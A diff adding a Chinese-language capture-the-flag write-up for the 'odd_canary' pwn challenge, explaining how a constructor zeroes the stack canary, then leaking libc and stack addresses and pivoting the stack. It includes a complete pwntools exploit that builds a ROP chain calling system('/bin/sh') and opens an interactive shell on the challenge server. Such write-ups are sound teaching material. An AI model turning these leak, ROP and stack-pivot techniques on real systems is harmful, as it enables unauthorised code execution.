|
| 1 | +--- |
| 2 | +title: 湾区杯 2025 初赛 - odd_canary |
| 3 | +date: 2025/09/11 01:27:00 |
| 4 | +updated: 2025/09/11 01:27:00 |
| 5 | +tags: |
| 6 | + - noob |
| 7 | +excerpt: 利用构造器重置canary为0,泄露libc与栈地址后栈迁移执行`system("/bin/sh")`。 |
| 8 | +--- |
| 9 | + |
| 10 | +## 文件属性 |
| 11 | + |
| 12 | +|属性 |值 | |
| 13 | +|------|------| |
| 14 | +|Arch |amd64 | |
| 15 | +|RELRO |Full | |
| 16 | +|Canary|on | |
| 17 | +|NX |on | |
| 18 | +|PIE |off | |
| 19 | +|strip |no | |
| 20 | +|libc |2.35-0ubuntu3.10| |
| 21 | + |
| 22 | +## 解题思路 |
| 23 | + |
| 24 | +注意有一个`before_main`是“构造器”,会在`main`之前调用,将canary设为0,这也就意味着 |
| 25 | +canary已知。 |
| 26 | + |
| 27 | +看到程序主菜单有good, vuln, exit三个功能,已知在bss上,符号`name`和`bss`紧邻, |
| 28 | +那我们进入`good_news`后,只要输入0x20个字符填满`name`,就可以在下一次循环中读取到 |
| 29 | +`bss`上存放的`puts`地址拿到libc。为了拿到栈地址,我们从`exit_a`函数中, |
| 30 | +控制栈指针放到`bss`上,这样再进入一次`good_news`就可以泄露栈地址。 |
| 31 | + |
| 32 | +最后进入`vuln`打栈溢出。由于只溢出到返回地址的地方,因此结合栈地址可以打栈迁移, |
| 33 | +供我们输入的空间刚好可以执行`system("/bin/sh")`。由于调用`system`,需要注意栈平衡。 |
| 34 | + |
| 35 | +## EXPLOIT |
| 36 | + |
| 37 | +```python |
| 38 | +from pwn import * |
| 39 | +context.terminal = ['tmux', 'splitw', '-h'] |
| 40 | +context.arch = 'amd64' |
| 41 | +def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' |
| 42 | +EXE = './odd_canary' |
| 43 | + |
| 44 | +def payload(lo: int): |
| 45 | + global t |
| 46 | + if lo: |
| 47 | + t = process(EXE) |
| 48 | + if lo & 2: |
| 49 | + gdb.attach(t) |
| 50 | + else: |
| 51 | + t = remote("pwn-3c371156cb.challenge.xctf.org.cn", 9999, ssl=True) |
| 52 | + libc = ELF('/libraries/2.35-0ubuntu3.10_amd64/libc.so.6') |
| 53 | + |
| 54 | + def news(buf: bytes) -> bytes: |
| 55 | + t.sendlineafter(b'good/vuln', b'good') |
| 56 | + t.recvuntil(b'good news,') |
| 57 | + name = t.recvuntil(b' ', True) |
| 58 | + t.send(buf) |
| 59 | + return name |
| 60 | + |
| 61 | + def vuln(buf: bytes): |
| 62 | + t.sendlineafter(b'good/vuln', b'vuln') |
| 63 | + t.sendafter(b'payload', buf) |
| 64 | + assert buf.startswith(b'exec') |
| 65 | + |
| 66 | + def not_exit(yes: bool): |
| 67 | + t.sendlineafter(b'good/vuln', b'exit') |
| 68 | + t.sendlineafter(b'Are you', b'y' if yes else b'n') |
| 69 | + |
| 70 | + news(b'a' * 0x20) |
| 71 | + data = news(b'a' * 0x20) |
| 72 | + libc_base = u64(data[0x20:0x26] + b'\0\0') - libc.symbols['puts'] |
| 73 | + success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}')) |
| 74 | + libc.address = libc_base |
| 75 | + |
| 76 | + not_exit(False) |
| 77 | + data = news(b' ' * 0x20) |
| 78 | + stack = u64(data[0x20:0x26] + b'\0\0') - 0x27 + 8 |
| 79 | + success(f'About to pivot stack to {stack:#x}') |
| 80 | + |
| 81 | + gadgets = ROP(libc) |
| 82 | + vuln(flat( |
| 83 | + b'exec'.ljust(8), 0, |
| 84 | + gadgets.rdi.address, next(libc.search(b'/bin/sh')), libc.symbols['system'], |
| 85 | + 0, stack, 0x4014b6, # leave; ret |
| 86 | + )) |
| 87 | + |
| 88 | + t.clean() |
| 89 | + t.interactive() |
| 90 | + t.close() |
| 91 | +``` |
| 92 | + |
| 93 | +{% note default fa-flag %} |
| 94 | + |
| 95 | +{% endnote %} |
0 commit comments